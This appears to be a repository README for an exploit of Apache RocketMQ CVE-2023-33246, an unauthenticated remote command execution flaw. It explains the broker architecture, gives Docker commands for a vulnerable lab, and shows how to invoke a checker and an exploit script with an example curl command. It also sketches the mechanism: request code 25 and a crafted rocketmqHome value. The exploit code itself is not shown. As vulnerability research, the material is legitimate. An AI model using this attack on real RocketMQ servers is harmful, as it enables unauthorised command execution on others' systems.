sumitpathania03/apache-rocketmq-cve-2023-33246-Exploit for Apache RocketMQ RCE (CVE-2023-33246) that executes arbitrary commands via the update configuration function, with environment setup and usage examples.
Apache RocketMQ is one of the most popular and widely used distributed messaging and streaming platforms. A command execution vulnerability has been recently reported in Apache RocketMQ affecting version 5.1.0 and below. A remote unauthenticated user can exploit this vulnerability by using the update configuration function to execute commands with same access level as that of RocketMQ user process.
The nameserver in RocketMQ acts as a registry or metadata store for the entire messaging infrastructure.
It maintains information about topics, queues, and the brokers responsible for handling messages.
Clients (producers and consumers) use the nameserver to discover the brokers that they need to communicate with for publishing or consuming messages.
The nameserver is responsible for dynamic routing, load balancing, and failover within the RocketMQ cluster.
It listens on a specific port (usually port 9876 by default) for incoming requests from clients and brokers.
Brokers are the workhorses of the RocketMQ system, responsible for storing and managing messages.
Each broker manages one or more topics, which are logical channels for message communication.
Producers publish messages to specific topics, and consumers subscribe to topics to receive messages.
Brokers handle message storage, replication, and delivery to consumers based on subscriptions and message consumption patterns.
They maintain message queues for each topic-partition, ensuring efficient message processing and delivery.
Brokers communicate with nameservers to register themselves, update metadata, and participate in the cluster's routing and load balancing mechanisms.
Setup local RocketMQ environment via Docker
docker pull apache/rocketmq:4.9.4
### Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876
PCAP
The UpdateBrokerConfig() function is triggered when a request with code '25', which is associated with RequestCode, is received
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp
PCAP
We utilize the "rocketmqHome" server configuration found in the broker.conf file. This configuration sets the value of the environmental variable ROCKETMQ_HOME within the RocketMQ user process. Through careful crafting of this value, we can execute commands of our choosing.
this is how this vulnerability works..